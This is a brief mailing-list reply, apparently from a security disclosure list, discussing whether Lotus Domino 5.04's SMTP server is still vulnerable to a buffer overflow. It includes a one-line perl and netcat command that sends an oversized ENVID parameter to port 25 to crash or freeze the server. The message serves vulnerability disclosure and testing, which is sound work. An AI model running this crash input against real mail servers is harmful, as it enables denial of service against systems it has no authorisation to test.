Re: [SAFER] Buffer overflow in Lotus Domino SMTP Server

[Fyodor <fygrave () SCORPIONS NET>]

> However, Lotus Notes/Domino Release 5.0.4 QMR fix list indicates that
> the problem was already fixed in 5.04.
>
> See
> http://www.support.lotus.com/sims2.nsf/802ee480bdd32d0b852566fa005acf8d/191a4daad1890947852569580069a59d?OpenDocument&Highlight=2,ENVID
>
> and click on
> Mail Server - Router - SMTP
>
> The SPR# is CDOY4GFP35
>
> Are you sure 5.04 is affected?  Or the technote is lying?

Well, at least eval. version for linux platform is vulnerable.
if you want to be confident whether it affects your server or not
 here's a small hint to play around : :-)

perl -e 'print "ehlo foo\nmail from:blah () yahoo com\nrcpt to:admin@localhost  ENVID=", "A"x900;' | nc lotus.box 25

or something like that.. :)
if all your lotus services get frozen afterwards, you are vulnerable.


-Fyodor